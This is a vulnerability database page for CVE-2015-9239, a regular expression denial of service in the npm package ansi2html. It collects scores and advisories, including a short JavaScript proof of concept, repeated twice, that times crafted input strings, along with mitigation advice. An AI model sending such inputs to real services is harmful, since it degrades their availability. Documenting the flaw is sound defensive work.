Every CVE Search/ Get API key

CVE-2015-9239

Regular Expression Denial of Service in ansi2html

7.5 High

ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.13%Up 0.2 points since Feb 4, 2022
90%50%10%1%

What each source reports

NVD Score used 7.5

ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.

Record
CVE-2015-9239
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Weakness
CWE-400, CWE-20
Updated
2026-11-02
CVE List No score

ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.

Record
CVE-2015-9239
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2020-0958 No score

ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.

Record
EUVD-2020-0958
Updated
2026-11-03
GitHub AdvisoriesGHSA-c2v2-7rcg-2ch7 No score

Regular Expression Denial of Service in ansi2html

The ansi2html package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in.

Proof of concept

var ansi2html = require('ansi2html')

var start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;00000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;000000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000000000");
console.log(process.hrtime(start));

Results of the above

00:29:53-adam_baldwin~/tmp$ node test
[ 0, 119615367 ]
[ 0, 149934565 ]
[ 0, 233325677 ]
[ 3, 46582479 ]

Recommendation

At the time of this writing, February 2018, all versions of ansi2html remain vulnerable, and the package has not been updated for 4 years.

In order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack.

In the case that user input of significant length must be parsed by ansi2html, the best mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.]available on npm

Record
GHSA-c2v2-7rcg-2ch7
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-c2v2-7rcg-2ch7 No score

Regular Expression Denial of Service in ansi2html

The ansi2html package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in.

Proof of concept

var ansi2html = require('ansi2html')

var start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;00000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;000000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000000000");
console.log(process.hrtime(start));

Results of the above

00:29:53-adam_baldwin~/tmp$ node test
[ 0, 119615367 ]
[ 0, 149934565 ]
[ 0, 233325677 ]
[ 3, 46582479 ]

Recommendation

At the time of this writing, February 2018, all versions of ansi2html remain vulnerable, and the package has not been updated for 4 years.

In order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack.

In the case that user input of significant length must be parsed by ansi2html, the best mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.]available on npm

Record
GHSA-c2v2-7rcg-2ch7
Weakness
CWE-400
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
ansi2html
npm
0.0.0 and later None known

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2015-9239 is a high vulnerability (CVSS 7.5) in Ansi2html Project Ansi2html, published May 31, 2018. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.13%, the 66th percentile. No source names a fixed version.

References

MoveEnter Open